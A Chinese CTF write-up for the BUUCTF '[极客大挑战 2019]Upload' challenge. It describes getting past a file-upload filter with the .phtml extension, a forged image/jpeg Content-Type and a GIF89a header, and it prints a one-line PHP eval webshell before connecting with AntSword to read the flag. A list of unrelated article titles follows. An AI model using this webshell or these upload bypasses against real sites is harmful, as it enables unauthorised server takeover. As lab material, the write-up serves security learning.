当前位置: 首页 > news >正文

练习14 Web [极客大挑战 2019]Upload

phtml格式绕过,burp修改content-type绕过,常见的文件上传存放目录名

题目就叫upload,打开靶机
直接上传一个图片格式的一句话木马,返回如下:
在这里插入图片描述
提交练习5和9中的两种可以执行图片格式php代码的文件,修改content-type为image/jpeg

同样提示不能上传image以外的格式。
在代码前加上gif文件头标识,同时修改木马后缀为gif

上传成功

GIF89a?<script language='php'>eval($_POST['cmd']);</script>

在这里插入图片描述

但是这题返回值没有提示存放路径

手动查找可能的目录
在前端源码videos目录,访问
在这里插入图片描述
于是逻辑推断存在images这个文件夹,访问
啥也没有

然后一开始上传文件成功的页面叫upload_file.php
尝试uploads、upload 目录
访问
成功,并找到我上传的木马文件
在这里插入图片描述
在这里插入图片描述
蚁剑连接:

http://f9e21dca-f92d-48fc-8d7d-8571df923f06.node5.buuoj.cn/upload/muma.phtml
在这里插入图片描述
在这里插入图片描述
根目录拿到flag
flag{d67b491d-4e6a-49f7-90b7-93f761b88aa1}

http://www.lryc.cn/news/332158.html

相关文章:

  • 3.6k star, 免费开源跨平台的数据库管理工具 dbgate
  • 2024.3.2力扣每日一题——受限条件下可到达节点的数目
  • 在云端遇见雨云:一位服务器寻觅者的指南
  • Pygame基础10-物理模拟
  • 蓝桥杯 --- 日期问题模板
  • Java 处理Mysql获取树形的数据
  • 前端三剑客 —— CSS ( 坐标问题 、定位问题和图片居中 )
  • 向量数据库 | AI时代的航道灯塔
  • Linux中的conntrack命令深入解析
  • 反截屏控制技术如何防止信息通过手机拍照泄漏?
  • 0.k8s简介
  • VScode 集成终端设置默认打开当前文件夹 mac系统
  • HDLbits 刷题 -- Alwaysblock2
  • 一、Docker部署GitLab(详细步骤)
  • Vue3 Ajax(axios)
  • 正则表达式引擎库汇合
  • eBay买家号注册下单容易死号?是什么原因导致?
  • 【Linux】-进程知识铺垫①计算机硬件的组织:冯诺依曼体系结构详细解读②关于操作系统对软硬件及用户的意义
  • 让ECC升级S/4HANA一步到位的“全面升级方案包”
  • AutoGluon
  • 【网站项目】少儿编程管理系统
  • 基于C语言的数据结构--顺序表讲解及代码函数实现展示
  • (学习日记)2024.03.31:UCOSIII第二十八节:消息队列常用函数
  • DLC原理解析及其优化思考
  • tigramite教程(七)使用TIGRAMITE 进行条件独立性测试
  • 【DevOps工具篇】使用Ansible部署Keycloak oauth2proxy 和 单点登录(SSO)设置
  • 鸿蒙OS开发实例:【应用状态变量共享】
  • C#清空窗体的背景图片
  • Qt 实现的万能采集库( 屏幕/相机/扬声器/麦克风采集)
  • 将写好的打印机代码打包成jar包然后直接注册成windows服务,然后通过调用插件的接口地址将流传到接口实现解析并无需预览直接通过打印机直接打印PDF文件